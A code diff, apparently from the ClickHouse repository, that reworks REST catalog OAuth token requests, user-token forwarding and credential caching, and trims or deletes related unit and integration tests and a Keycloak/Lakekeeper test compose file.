a/src/Databases/DataLake/RestCatalog.cpp +++ b/src/Databases/DataLake/RestCatalog.cpp @@ -1057,8 +1057,6 @@ AccessToken RestCatalog::requestToken(const TokenRequest & token_request) const { params.emplace_back("grant_type", "client_credentials"); params.emplace_back("scope", token_request.scope); - params.emplace_back("client_id", token_request.client_id); - params.emplace_back("client_secret", token_request.client_secret); } else { @@ -1074,10 +1072,11 @@ AccessToken RestCatalog::requestToken(const TokenRequest & token_request) const params.emplace_back("actor_token", token_request.actor_token); params.emplace_back("actor_token_type", token_request.actor_token_type); } - params.emplace_back("client_id", token_request.client_id); - params.emplace_back("client_secret", token_request.client_secret); } + params.emplace_back("client_id", token_request.client_id); + params.emplace_back("client_secret", token_request.client_secret); + if (token_request.use_query_parameters) { Poco::URI::QueryParameters query_params(params.begin(), params.end()); @@ -1173,15 +1172,8 @@ AccessToken RestCatalog::retrieveAccessToken(const std::string & client_id, cons request.client_id = client_id; request.client_secret = client_secret; - if (oauth_server_uri.empty() && !oauth_server_use_request_body) - { - request.url = Poco::URI(base_url / oauth_tokens_endpoint); - request.use_query_parameters = true; - } - else - { - request.url = oauth_server_uri.empty() ? Poco::URI(base_url / oauth_tokens_endpoint) : Poco::URI(oauth_server_uri); - } + request.url = oauth_server_uri.empty() ? Poco::URI(base_url / oauth_tokens_endpoint) : Poco::URI(oauth_server_uri); + request.use_query_parameters = oauth_server_uri.empty() && !oauth_server_use_request_body; ProfileEvents::increment(ProfileEvents::DataLakeRestCatalogAuthTokenRetrieve); auto timer = DB::CurrentThread::getProfileEvents().timer(ProfileEvents::DataLakeRestCatalogAuthTokenRefreshedMicroseconds); @@ -1879,7 +1871,6 @@ DB::Names RestCatalog::parseTables(DB::ReadBuffer & buf, const std::string & bas bool RestCatalog::existsTable(const std::string & namespace_name, const std::string & table_name, const DB::ForwardedAuthTokenPtr & auth_token) const { TableMetadata table_metadata; - /// This metadata request needs neither schema nor credentials from the context; identity travels in `auth_token`. return tryGetTableMetadataImpl(namespace_name, table_name, getContext(), table_metadata, auth_token); } @@ -2648,8 +2639,6 @@ void RestCatalog::cacheCredentials(const CredentialsCacheKey & key, const Vended credentials_cache.begin(), credentials_cache.end(), [](const auto & lhs, const auto & rhs) { return lhs.second.expires_at.value() < rhs.second.expires_at.value(); }); - if (oldest == credentials_cache.end()) - break; credentials_cache.erase(oldest); } @@ -2660,7 +2649,6 @@ void RestCatalog::cacheCredentials(const CredentialsCacheKey & key, const Vended ICatalog::CredentialsRefreshCallback RestCatalog::getCredentialsConfigurationCallback( const DB::StorageID & storage_id, const DB::ForwardedAuthTokenPtr & auth_token) { - /// The refresher outlives the query context and must continue vending as the same user. return [this, storage_id, auth_token] () -> std::shared_ptr { LOG_DEBUG(log, "Update credentials in the catalog"); diff --git a/src/Databases/DataLake/RestCatalog.h b/src/Databases/DataLake/RestCatalog.h index 89284fa56fcd..5cbb0cf69ce6 100644 --- a/src/Databases/DataLake/RestCatalog.h +++ b/src/Databases/DataLake/RestCatalog.h @@ -156,8 +156,6 @@ class RestCatalog : public ICatalog, public DB::WithContext ICatalog::CredentialsRefreshCallback getCredentialsConfigurationCallback( const DB::StorageID & storage_id, const DB::ForwardedAuthTokenPtr & auth_token) override; - bool supportsUserTokenForwarding() const override { return true; } - void onTokenForwardingDisabled() const override { user_token_cache.clear(); } void loadConfigIfNeeded(const DB::ForwardedAuthTokenPtr & auth_token) const; diff --git a/src/Databases/DataLake/S3TablesCatalog.h b/src/Databases/DataLake/S3TablesCatalog.h index 25b9032f92d5..95b6890eb57e 100644 --- a/src/Databases/DataLake/S3TablesCatalog.h +++ b/src/Databases/DataLake/S3TablesCatalog.h @@ -46,8 +46,6 @@ class S3TablesCatalog final : public RestCatalog ICatalog::CredentialsRefreshCallback getCredentialsConfigurationCallback( const DB::StorageID & storage_id, const DB::ForwardedAuthTokenPtr & auth_token) override; - bool supportsUserTokenForwarding() const override { return false; } - protected: DB::HTTPHeaderEntries getAuthHeaders(const AuthContext & auth_context) const override; diff --git a/src/Databases/DataLake/tests/gtest_rest_catalog.cpp b/src/Databases/DataLake/tests/gtest_rest_catalog.cpp index cd68e67d2094..4891ee54cce7 100644 --- a/src/Databases/DataLake/tests/gtest_rest_catalog.cpp +++ b/src/Databases/DataLake/tests/gtest_rest_catalog.cpp @@ -149,7 +149,6 @@ TEST(RestCatalog, EmptyReturnsTrueWhenNoTablesExist) TEST(RestCatalog, ApplySettingsChangesWithoutAuthenticationRejected) { TestServer server; - installShape(*server, CatalogShape::Empty); auto context = DB::Context::createCopy(getContext().context); context->makeQueryContext(); @@ -173,7 +172,6 @@ TEST(RestCatalog, ApplySettingsChangesWithoutAuthenticationRejected) TEST(RestCatalog, ApplySettingsChangesCredentialMode) { TestServer server; - installShape(*server, CatalogShape::Empty); installTokenEndpoint(*server); auto context = DB::Context::createCopy(getContext().context); @@ -218,7 +216,6 @@ TEST(RestCatalog, ApplySettingsChangesCredentialMode) TEST(RestCatalog, ApplySettingsChangesAuthHeaderMode) { TestServer server; - installShape(*server, CatalogShape::Empty); auto context = DB::Context::createCopy(getContext().context); context->makeQueryContext(); @@ -250,7 +247,6 @@ TEST(RestCatalog, ApplySettingsChangesAuthHeaderMode) TEST(RestCatalog, OneLakeApplySettingsChangesBearerMode) { TestServer server; - installShape(*server, CatalogShape::Empty); auto context = DB::Context::createCopy(getContext().context); context->makeQueryContext(); @@ -306,7 +302,6 @@ TEST(RestCatalog, OneLakeApplySettingsChangesBearerMode) TEST(RestCatalog, TryGetTableMetadataDistinguishesMissingTableFromOtherErrors) { TestServer server; - installShape(*server, CatalogShape::TopLevelTable); installTableRoutes(*server); auto context = DB::Context::createCopy(getContext().context); diff --git a/src/Databases/DataLake/tests/gtest_rest_catalog_token_forwarding.cpp b/src/Databases/DataLake/tests/gtest_rest_catalog_token_forwarding.cpp index aa91ba9fdd1c..6d66bc99ea18 100644 --- a/src/Databases/DataLake/tests/gtest_rest_catalog_token_forwarding.cpp +++ b/src/Databases/DataLake/tests/gtest_rest_catalog_token_forwarding.cpp @@ -63,27 +63,22 @@ void installCatalogShape(ServerState & state) state.setStaticRoute(NS_TABLES_PATH, R"({"identifiers":[{"name":"t"}]})"); } -std::string loadTableResponse(const std::string & access_key_id, const std::string & table_uuid = "1e1c0e10-0000-4000-8000-000000000001") +std::string loadTableResponse() { const auto expires_at_ms = std::chrono::duration_cast((std::chrono::system_clock::now() + std::chrono::hours(24)).time_since_epoch()) .count(); return fmt::format( R"({{"metadata-location":"s3://bucket/t/metadata/v1.metadata.json",)" - R"("metadata":{{"table-uuid":"{}","location":"s3://bucket/t","schemas":[],"current-schema-id":0}},)" - R"("config":{{"s3.access-key-id":"{}","s3.secret-access-key":"secret","s3.session-token":"session",)" + R"("metadata":{{"table-uuid":"1e1c0e10-0000-4000-8000-000000000001","location":"s3://bucket/t","schemas":[],"current-schema-id":0}},)" + R"("config":{{"s3.access-key-id":"AKIA_VENDED","s3.secret-access-key":"secret","s3.session-token":"session",)" R"("s3.session-token-expires-at-ms":{}}}}})", - table_uuid, access_key_id, expires_at_ms); + expires_at_ms); } void installTokenEndpoint(ServerState & state, const std::string & path) { - auto counter = std::make_shared(0); - state.setRoute(path, [counter](const RecordedRequest &) - { - const size_t n = counter->fetch_add(1); - return json(fmt::format(R"({{"access_token":"session_token_{}","expires_in":3600}})", n)); - }); + state.setStaticRoute(path, R"({"access_token":"session_token","expires_in":3600})"); } TokenForwardingConfig exchangeAt(const std::string & uri) @@ -117,26 +112,29 @@ std::shared_ptr makeCatalog( forwarding); } +void loadTable(RestCatalog & catalog, const DB::ForwardedAuthTokenPtr & auth_token) +{ + auto query_context = makeQueryContext(auth_token); + TableMetadata metadata; + metadata.withLocation().withStorageCredentials(); + catalog.getTableMetadata("ns", "t", query_context, metadata); +} + +size_t countVendingRequests(const ServerState & state) +{ + size_t count = 0; + for (const auto & request : state.requestsTo(TABLE_PATH)) + if (request.header("X-Iceberg-Access-Delegation") == "vended-credentials") + ++count; + return count; +} + std::map parseForm(const std::string & body) { - std::map result; - size_t pos = 0; - while (pos < body.size()) - { - const auto amp = body.find('&', pos); - const auto field = body.substr(pos, amp == std::string::npos ? std::string::npos : amp - pos); - const auto eq = field.find('='); - if (eq != std::string::npos) - { - std::string value; - Poco::URI::decode(field.substr(eq + 1), value); - result[field.substr(0, eq)] = value; - } - if (amp == std::string::npos) - break; - pos = amp + 1; - } - return result; + Poco::URI uri; + uri.setRawQuery(body); + const auto params = uri.getQueryParameters(); + return {params.begin(), params.end()}; } } @@ -159,49 +157,81 @@ class RestCatalogTokenForwarding : public ::testing::Test const bool previous; }; -TEST_F(RestCatalogTokenForwarding, AlteringCatalogCredentialDropsCachedTokensAndCredentials) +TEST_F(RestCatalogTokenForwarding, PassesUserTokenToCatalog) { TestServer server; installCatalogShape(*server); - installTokenEndpoint(*server, IDP_TOKEN_PATH); - server->setStaticRoute(TABLE_PATH, loadTableResponse("AKIA_VENDED")); + auto context = makeQueryContext(); + TokenForwardingConfig forwarding; + forwarding.forward_user_token = true; + auto catalog = makeCatalog(server, context, forwarding); - auto alice = makeToken(); + ASSERT_EQ(catalog->getTables(makeToken()), DB::Names{"ns.t"}); + for (const auto * path : {CONFIG_PATH, NAMESPACES_PATH, NS_TABLES_PATH}) + { + const auto requests = server->requestsTo(path); + ASSERT_FALSE(requests.empty()); + for (const auto & request : requests) + EXPECT_EQ(request.header("Authorization"), "Bearer " + std::string(ALICE_TOKEN)); + } + EXPECT_EQ(server->countRequestsTo(CATALOG_TOKEN_PATH), 0u); +} + +TEST_F(RestCatalogTokenForwarding, ExchangesAndCachesEachUserTokenSeparately) +{ + TestServer server; + installCatalogShape(*server); + server->setRoute(IDP_TOKEN_PATH, [](const RecordedRequest & request) + { + return json(fmt::format(R"({{"access_token":"{}_session","expires_in":3600}})", parseForm(request.body).at("subject_token"))); + }); auto context = makeQueryContext(); auto catalog = makeCatalog(server, context, exchangeAt(server.getUrl() + IDP_TOKEN_PATH)); - catalog->setVendedCredentialsCacheTTL(std::chrono::seconds(300)); - auto load = [&] + for (const auto * token : {ALICE_TOKEN, "rotated.alice.token"}) { - auto query_context = makeQueryContext(alice); - TableMetadata metadata; - metadata.withLocation().withStorageCredentials(); - catalog->getTableMetadata("ns", "t", query_context, metadata); - }; + auto auth_token = DB::makeForwardedAuthToken(DB::TokenCredentials(token), "alice"); + server->clearRequests(); + ASSERT_EQ(catalog->getTables(auth_token), DB::Names{"ns.t"}); + ASSERT_EQ(catalog->getTables(auth_token), DB::Names{"ns.t"}); + + const auto exchanges = server->requestsTo(IDP_TOKEN_PATH); + ASSERT_EQ(exchanges.size(), 1u); + const auto form = parseForm(exchanges.front().body); + EXPECT_EQ(form.at("grant_type"), "urn:ietf:params:oauth:grant-type:token-exchange"); + EXPECT_EQ(form.at("subject_token"), token); + EXPECT_EQ(form.at("subject_token_type"), "urn:ietf:params:oauth:token-type:access_token"); + for (const auto & request : server->requestsTo(NAMESPACES_PATH)) + EXPECT_EQ(request.header("Authorization"), "Bearer " + std::string(token) + "_session"); + EXPECT_EQ(server->countRequestsTo(CATALOG_TOKEN_PATH), 0u); + } +} - auto vending_requests = [&] - { - size_t count = 0; - for (const auto & request : server->requestsTo(TABLE_PATH)) - if (request.header("X-Iceberg-Access-Delegation") == "vended-credentials") - ++count; - return count; - }; +TEST_F(RestCatalogTokenForwarding, AlteringCatalogCredentialDropsCachedTokensAndCredentials) +{ + TestServer server; + installTokenEndpoint(*server, IDP_TOKEN_PATH); + server->setStaticRoute(TABLE_PATH, loadTableResponse()); + + auto alice = makeToken(); + auto context = makeQueryContext(); + auto catalog = makeCatalog(server, context, exchangeAt(server.getUrl() + IDP_TOKEN_PATH)); + catalog->setVendedCredentialsCacheTTL(std::chrono::seconds(300)); - load(); + loadTable(*catalog, alice); ASSERT_EQ(server->countRequestsTo(IDP_TOKEN_PATH), 1u); - ASSERT_EQ(vending_requests(), 1u); + ASSERT_EQ(countVendingRequests(*server), 1u); - load(); + loadTable(*catalog, alice); ASSERT_EQ(server->countRequestsTo(IDP_TOKEN_PATH), 1u); - ASSERT_EQ(vending_requests(), 1u); + ASSERT_EQ(countVendingRequests(*server), 1u); DB::SettingsChanges changes; changes.emplace_back("catalog_credential", "client:rotated_secret"); - catalog->commitSettingsChanges(catalog->prepareSettingsChanges(changes, alice)); + catalog->applySettingsChanges(changes, alice); - load(); - EXPECT_EQ(vending_requests(), 2u); + loadTable(*catalog, alice); + EXPECT_EQ(countVendingRequests(*server), 2u); const auto exchanges = server->requestsTo(IDP_TOKEN_PATH); ASSERT_EQ(exchanges.size(), 3u); @@ -244,7 +274,7 @@ class ParkedRoute { { std::unique_lock lock(mutex); - if (enabled && !arrived) + if (!arrived) { arrived = true; cv.notify_all(); @@ -255,18 +285,6 @@ class ParkedRoute }; } - void enable() - { - std::lock_guard lock(mutex); - enabled = true; - } - - bool isEnabled() const - { - std::lock_guard lock(mutex); - return enabled; - } - void waitUntilParked() { std::unique_lock lock(mutex); @@ -283,9 +301,8 @@ class ParkedRoute } private: - mutable std::mutex mutex; + std::mutex mutex; std::condition_variable cv; - bool enabled = false; bool arrived = false; bool released = false; }; @@ -294,81 +311,15 @@ TEST_F(RestCatalogTokenForwarding, InFlightVendedCredentialsDoNotOutliveTheirGen { ParkedRoute parked; TestServer server; - installCatalogShape(*server); installTokenEndpoint(*server, IDP_TOKEN_PATH); - installTokenEndpoint(*server, CATALOG_TOKEN_PATH); - server->setRoute(TABLE_PATH, parked.handler([](const RecordedRequest &) { return json(loadTableResponse("AKIA_VENDED")); })); + server->setRoute(TABLE_PATH, parked.handler([](const RecordedRequest &) { return json(loadTableResponse()); })); auto alice = makeToken(); auto context = makeQueryContext(); auto catalog = makeCatalog(server, context, exchangeAt(server.getUrl() + IDP_TOKEN_PATH)); catalog->setVendedCredentialsCacheTTL(std::chrono::seconds(300)); - auto load = [&] - { - auto query_context = makeQueryContext(alice); - TableMetadata metadata; - metadata.withLocation().withStorageCredentials(); - catalog->getTableMetadata("ns", "t", query_context, metadata); - }; - - auto vending_requests = [&] - { - size_t count = 0; - for (const auto & request : server->requestsTo(TABLE_PATH)) - if (request.header("X-Iceberg-Access-Delegation") == "vended-credentials") - ++count; - return count; - }; - - parked.enable(); - std::thread in_flight(load); - SCOPE_EXIT({ - parked.release(); - if (in_flight.joinable()) - in_flight.join(); - }); - - parked.waitUntilParked(); - - DB::SettingsChanges changes; - changes.emplace_back("catalog_credential", "client:rotated_secret"); - catalog->commitSettingsChanges(catalog->prepareSettingsChanges(changes, alice)); - - parked.release(); - in_flight.join(); - - const auto vends_before = vending_requests(); - - load(); - EXPECT_EQ(vending_requests(), vends_before + 1); -} - -TEST_F(RestCatalogTokenForwarding, InFlightGrantDoesNotClobberRotatedServiceToken) -{ - ParkedRoute parked; - TestServer server; - installCatalogShape(*server); - - server->setRoute(CATALOG_TOKEN_PATH, parked.handler([&parked](const RecordedRequest & request) - { - const auto secret = parseForm(request.body).at("client_secret"); - if (secret != "secret") - return json(R"({"access_token":"tok_for_rotated_secret","expires_in":3600})"); - - /// Expire warm-up grants immediately to force a new grant in flight. - /// Keep the parked grant valid so expiry cannot hide an incorrect publication after rotation. - const auto expires_in = parked.isEnabled() ? 3600 : 1; - return json(fmt::format(R"({{"access_token":"tok_for_secret","expires_in":{}}})", expires_in)); - })); - - auto context = makeQueryContext(); - auto catalog = makeCatalog(server, context, TokenForwardingConfig{}); - - ASSERT_EQ(catalog->getTables(/* auth_token */ {}), DB::Names{"ns.t"}); - - parked.enable(); - std::thread in_flight([&] { catalog->getTables(/* auth_token */ {}); }); + std::thread in_flight([&] { loadTable(*catalog, alice); }); SCOPE_EXIT({ parked.release(); if (in_flight.joinable()) @@ -379,17 +330,15 @@ TEST_F(RestCatalogTokenForwarding, InFlightGrantDoesNotClobberRotatedServiceToke DB::SettingsChanges changes; changes.emplace_back("catalog_credential", "client:rotated_secret"); - catalog->commitSettingsChanges(catalog->prepareSettingsChanges(changes)); + catalog->applySettingsChanges(changes, alice); parked.release(); in_flight.join(); - server->clearRequests(); - ASSERT_EQ(catalog->getTables(/* auth_token */ {}), DB::Names{"ns.t"}); + const auto vends_before = countVendingRequests(*server); - const auto requests = server->requestsTo(NAMESPACES_PATH); - ASSERT_FALSE(requests.empty()); - EXPECT_EQ(requests.front().header("Authorization"), "Bearer tok_for_rotated_secret"); + loadTable(*catalog, alice); + EXPECT_EQ(countVendingRequests(*server), vends_before + 1); } TEST_F(RestCatalogTokenForwarding, ConfigLoadDoesNotRollBackAConcurrentCredentialChange) @@ -397,7 +346,6 @@ TEST_F(RestCatalogTokenForwarding, ConfigLoadDoesNotRollBackAConcurrentCredentia ParkedRoute parked; TestServer server; installCatalogShape(*server); - installTokenEndpoint(*server, CATALOG_TOKEN_PATH); installTokenEndpoint(*server, IDP_TOKEN_PATH); server->setRoute("/v1/config", parked.handler([](const RecordedRequest &) { return json(R"({"defaults":{},"overrides":{}})"); })); @@ -405,7 +353,6 @@ TEST_F(RestCatalogTokenForwarding, ConfigLoadDoesNotRollBackAConcurrentCredentia auto context = makeQueryContext(); auto catalog = makeCatalog(server, context, exchangeAt(server.getUrl() + IDP_TOKEN_PATH)); - parked.enable(); std::thread in_flight([&] { catalog->getTables(alice); }); SCOPE_EXIT({ parked.release(); @@ -417,7 +364,7 @@ TEST_F(RestCatalogTokenForwarding, ConfigLoadDoesNotRollBackAConcurrentCredentia DB::SettingsChanges changes; changes.emplace_back("catalog_credential", "client:rotated_secret"); - catalog->commitSettingsChanges(catalog->prepareSettingsChanges(changes, alice)); + catalog->applySettingsChanges(changes, alice); parked.release(); in_flight.join(); diff --git a/src/Databases/DataLake/tests/rest_catalog_test_server.h b/src/Databases/DataLake/tests/rest_catalog_test_server.h index 488f55baf521..3179a861c7a6 100644 --- a/src/Databases/DataLake/tests/rest_catalog_test_server.h +++ b/src/Databases/DataLake/tests/rest_catalog_test_server.h @@ -104,7 +104,7 @@ class ServerState route = it->second; } - /// Return an error instead of throwing out of a Poco worker thread, which would terminate the test process. + /// Report unexpected requests to the client. if (!route) return Response{ .status = 599, diff --git a/src/Storages/ObjectStorage/DataLakes/Iceberg/Compaction.cpp b/src/Storages/ObjectStorage/DataLakes/Iceberg/Compaction.cpp index 5855504b22ac..64e743a74273 100644 --- a/src/Storages/ObjectStorage/DataLakes/Iceberg/Compaction.cpp +++ b/src/Storages/ObjectStorage/DataLakes/Iceberg/Compaction.cpp @@ -918,7 +918,7 @@ static bool writeConsolidatedManifestFile( { auto catalog_filename = path_resolver.resolveForCatalog(generated_metadata_info.path); const auto & [namespace_name, table_name] = DataLake::parseTableName(table_id.getTableName()); - if (!catalog->updateMetadata(namespace_name, table_name, catalog_filename, new_snapshot.snapshot)) + if (!catalog->updateMetadata(namespace_name, table_name, catalog_filename, new_snapshot.snapshot, context->getForwardedAuthToken())) { LOG_INFO(log, "Metadata commit conflict detected via catalog, cleaning up temporary files"); cleanup(); diff --git a/tests/integration/compose/docker_compose_iceberg_lakekeeper_oidc_catalog.yml b/tests/integration/compose/docker_compose_iceberg_lakekeeper_oidc_catalog.yml deleted file mode 100644 index b7680a414ed4..000000000000 --- a/tests/integration/compose/docker_compose_iceberg_lakekeeper_oidc_catalog.yml +++ /dev/null @@ -1,138 +0,0 @@ -# Keycloak must be in this compose file: the cluster helper starts the catalog group before its separate Keycloak group. -services: - keycloak: - image: quay.io/keycloak/keycloak:26.2 - command: - - "start-dev" - - "--import-realm" - - "--health-enabled=true" - environment: - - KC_BOOTSTRAP_ADMIN_USERNAME=admin - - KC_BOOTSTRAP_ADMIN_PASSWORD=admin - volumes: - # Defining `clientScopes` in the realm import would replace built-in scopes needed for user claims. - - ../test_datalake_sso_lakekeeper/keycloak/realm-export.json:/opt/keycloak/data/import/realm.json:ro - healthcheck: - test: - - CMD-SHELL - - > - exec 3<>/dev/tcp/127.0.0.1/8080; - echo -e "GET /realms/clickhouse-test/.well-known/openid-configuration HTTP/1.1\r\nhost: 127.0.0.1:8080\r\nConnection: close\r\n\r\n" >&3; - grep "jwks_uri" <&3 - interval: 2s - timeout: 10s - retries: 30 - start_period: 30s - cpus: 3 - - lakekeeper: - image: vakamo/lakekeeper:v0.13.1 - environment: - - LAKEKEEPER__PG_ENCRYPTION_KEY=This-is-NOT-Secure! - - LAKEKEEPER__PG_DATABASE_URL_READ=postgresql://postgres:postgres@db:5432/postgres - - LAKEKEEPER__PG_DATABASE_URL_WRITE=postgresql://postgres:postgres@db:5432/postgres - - LAKEKEEPER__AUTHZ_BACKEND=openfga - - LAKEKEEPER__OPENFGA__ENDPOINT=http://openfga:8081 - - LAKEKEEPER__OPENID_PROVIDER_URI=http://keycloak:8080/realms/clickhouse-test - - LAKEKEEPER__OPENID_AUDIENCE=lakekeeper - - LAKEKEEPER__OPENID_SCOPE=openid - - RUST_LOG=info - command: ["serve"] - ports: - - "${ICEBERG_REST_CATALOG_PORT}:8181" - healthcheck: - test: ["CMD", "/home/nonroot/lakekeeper", "healthcheck"] - interval: 2s - timeout: 10s - retries: 30 - start_period: 30s - depends_on: - migrate: - condition: service_completed_successfully - db: - condition: service_healthy - openfga: - condition: service_healthy - keycloak: - condition: service_healthy - cpus: 3 - - migrate: - image: vakamo/lakekeeper:v0.13.1 - environment: - - LAKEKEEPER__PG_ENCRYPTION_KEY=This-is-NOT-Secure! - - LAKEKEEPER__PG_DATABASE_URL_READ=postgresql://postgres:postgres@db:5432/postgres - - LAKEKEEPER__PG_DATABASE_URL_WRITE=postgresql://postgres:postgres@db:5432/postgres - - LAKEKEEPER__AUTHZ_BACKEND=openfga - - LAKEKEEPER__OPENFGA__ENDPOINT=http://openfga:8081 - - RUST_LOG=info - restart: "no" - command: ["migrate"] - depends_on: - db: - condition: service_healthy - openfga: - condition: service_healthy - cpus: 3 - - db: - image: postgres:16 - environment: - - POSTGRES_USER=postgres - - POSTGRES_PASSWORD=postgres - - POSTGRES_DB=postgres - healthcheck: - test: ["CMD-SHELL", "pg_isready -U postgres -d postgres"] - interval: 2s - timeout: 10s - retries: 10 - start_period: 10s - cpus: 3 - - openfga: - image: openfga/openfga:v1.8 - command: run - environment: - - OPENFGA_DATASTORE_ENGINE=postgres - - OPENFGA_DATASTORE_URI=postgres://postgres:postgres@openfga-db:5432/postgres?sslmode=disable - - OPENFGA_PLAYGROUND_ENABLED=false - - OPENFGA_AUTHN_METHOD=none - - OPENFGA_HTTP_TLS_ENABLED=false - healthcheck: - test: ["CMD", "/usr/local/bin/grpc_health_probe", "-addr=openfga:8081"] - interval: 5s - timeout: 30s - retries: 10 - start_period: 10s - depends_on: - openfga-db: - condition: service_healthy - openfga-migrate: - condition: service_completed_successfully - cpus: 3 - - openfga-migrate: - image: openfga/openfga:v1.8 - command: migrate - restart: "no" - environment: - - OPENFGA_DATASTORE_ENGINE=postgres - - OPENFGA_DATASTORE_URI=postgres://postgres:postgres@openfga-db:5432/postgres?sslmode=disable - depends_on: - openfga-db: - condition: service_healthy - cpus: 3 - - openfga-db: - image: postgres:16 - environment: - - POSTGRES_USER=postgres - - POSTGRES_PASSWORD=postgres - - POSTGRES_DB=postgres - healthcheck: - test: ["CMD-SHELL", "pg_isready -U postgres -d postgres"] - interval: 2s - timeout: 10s - retries: 10 - start_period: 10s - cpus: 3 diff --git a/tests/integration/test_datalake_glue_token_forwarding/configs/users.xml b/tests/integration/test_datalake_glue_token_forwarding/configs/users.xml index 3e4daacbffb2..7e7e96a262b5 100644 --- a/tests/integration/test_datalake_glue_token_forwarding/configs/users.xml +++ b/tests/integration/test_datalake_glue_token_forwarding/configs/users.xml @@ -7,10 +7,5 @@ 1 1 - - passworduser_password - default - ::/0 - diff --git a/tests/integration/test_datalake_glue_token_forwarding/s3_mocks/mock_sts.py b/tests/integration/test_datalake_glue_token_forwarding/s3_mocks/mock_sts.py index 785dc956de60..fee74d5404a1 100644 --- a/tests/integration/test_datalake_glue_token_forwarding/s3_mocks/mock_sts.py +++ b/tests/integration/test_datalake_glue_token_forwarding/s3_mocks/mock_sts.py @@ -35,12 +35,9 @@ def sts(): recorded.append( { - "action": params.get("Action", ""), - "version": params.get("Version", ""), "role_arn": params.get("RoleArn", ""), "role_session_name": params.get("RoleSessionName", ""), "web_identity_token": params.get("WebIdentityToken", ""), - "query_string": request.query_string, } ) diff --git a/tests/integration/test_datalake_glue_token_forwarding/test.py b/tests/integration/test_datalake_glue_token_forwarding/test.py index dbb8c2753d8f..3873ee63c27c 100644 --- a/tests/integration/test_datalake_glue_token_forwarding/test.py +++ b/tests/integration/test_datalake_glue_token_forwarding/test.py @@ -3,7 +3,6 @@ import os import uuid -import boto3 import jwt import pytest @@ -39,11 +38,8 @@ def run_sts_mock(cluster): @pytest.fixture(scope="module") def started_cluster(): + cluster = ClickHouseCluster(__file__) try: - os.environ["AWS_ACCESS_KEY_ID"] = "testing" - os.environ["AWS_SECRET_ACCESS_KEY"] = "testing" - - cluster = ClickHouseCluster(__file__) cluster.add_instance( "node1", main_configs=["configs/token_forwarding.xml"], @@ -74,32 +70,6 @@ def started_cluster(): cluster.shutdown() -def glue_client(started_cluster): - return boto3.client( - "glue", - endpoint_url=f"http://localhost:{started_cluster.glue_catalog_port}", - region_name="us-east-1", - aws_access_key_id="testing", - aws_secret_access_key="testing", - ) - - -def create_glue_table(started_cluster, namespace, table): - client = glue_client(started_cluster) - client.create_database(DatabaseInput={"Name": namespace}) - client.create_table( - DatabaseName=namespace, - TableInput={ - "Name": table, - "Parameters": {"table_type": "ICEBERG"}, - "StorageDescriptor": { - "Columns": [{"Name": "x", "Type": "int"}], - "Location": f"s3://warehouse-glue/{namespace}/{table}", - }, - }, - ) - - def sts_requests(started_cluster): output = started_cluster.exec_in_container( started_cluster.get_container_id(STS_CONTAINER), @@ -130,13 +100,11 @@ def clean_sts_log(started_cluster): yield -def create_database(node, name, extra_settings=None): - settings = dict(DATABASE_SETTINGS) - settings.update(extra_settings or {}) +def create_database(node, name): node.query( f"DROP DATABASE IF EXISTS {name}; " f"CREATE DATABASE {name} ENGINE = DataLakeCatalog('{BASE_URL}') " - f"SETTINGS {','.join(k + '=' + repr(v) for k, v in settings.items())}", + f"SETTINGS {','.join(k + '=' + repr(v) for k, v in DATABASE_SETTINGS.items())}", settings={"allow_database_glue_catalog": 1}, ) @@ -156,15 +124,11 @@ def profile_event(node, query_id, event): f"SELECT sum(ProfileEvents['{event}']) FROM system.query_log " f"WHERE query_id = '{query_id}' AND type = 'QueryFinish'" ).strip() - or 0 ) def test_user_tokens_are_exchanged_into_separate_sts_sessions(started_cluster): node = started_cluster.instances["node1"] - namespace = f"ns_{uuid.uuid4().hex[:8]}" - create_glue_table(started_cluster, namespace, "t") - db = f"glue_{uuid.uuid4().hex[:8]}" create_database(node, db) @@ -172,37 +136,13 @@ def test_user_tokens_are_exchanged_into_separate_sts_sessions(started_cluster): query_id = str(uuid.uuid4()) query_with_token(node, token, f"SHOW TABLES FROM {db}", params={"query_id": query_id}) - requests = sts_requests(started_cluster) - assert len(requests) == 1, requests - - request = requests[0] - assert request["action"] == "AssumeRoleWithWebIdentity" - assert request["version"] == "2011-06-15" - assert request["role_arn"] == ROLE_ARN - assert request["role_session_name"] == "alice" - assert request["web_identity_token"] == token - - assert token not in request["query_string"] - assert profile_event(node, query_id, "DataLakeGlueCatalogServiceIdentityRequests") == 0 query_with_token(node, make_token("bob"), f"SHOW TABLES FROM {db}") sessions = sts_requests(started_cluster) assert sorted(request["role_session_name"] for request in sessions) == ["alice", "bob"] assert {request["web_identity_token"] for request in sessions} == {token, make_token("bob")} - - -def test_no_token_fails_closed(started_cluster): - node = started_cluster.instances["node1"] - db = f"glue_{uuid.uuid4().hex[:8]}" - create_database(node, db) - - error = node.query_and_get_error( - f"SHOW TABLES FROM {db}", user="passworduser", password="passworduser_password" - ) - assert "carries no bearer token" in error, error - - assert sts_requests(started_cluster) == [] + assert all(request["role_arn"] == ROLE_ARN for request in sessions) def test_rejected_token_does_not_fall_back(started_cluster): diff --git a/tests/integration/test_datalake_sso_lakekeeper/__init__.py b/tests/integration/test_datalake_sso_lakekeeper/__init__.py deleted file mode 100644 index e69de29bb2d1..000000000000 diff --git a/tests/integration/test_datalake_sso_lakekeeper/configs/cluster.xml b/tests/integration/test_datalake_sso_lakekeeper/configs/cluster.xml deleted file mode 100644 index 870a786f2742..000000000000 --- a/tests/integration/test_datalake_sso_lakekeeper/configs/cluster.xml +++ /dev/null @@ -1,18 +0,0 @@ - - - - - - node1 - 9000 - - - - - node2 - 9000 - - - - - diff --git a/tests/integration/test_datalake_sso_lakekeeper/configs/session_log.xml b/tests/integration/test_datalake_sso_lakekeeper/configs/session_log.xml deleted file mode 100644 index 5c2e4ae88c55..000000000000 --- a/tests/integration/test_datalake_sso_lakekeeper/configs/session_log.xml +++ /dev/null @@ -1,8 +0,0 @@ - - - system - session_log
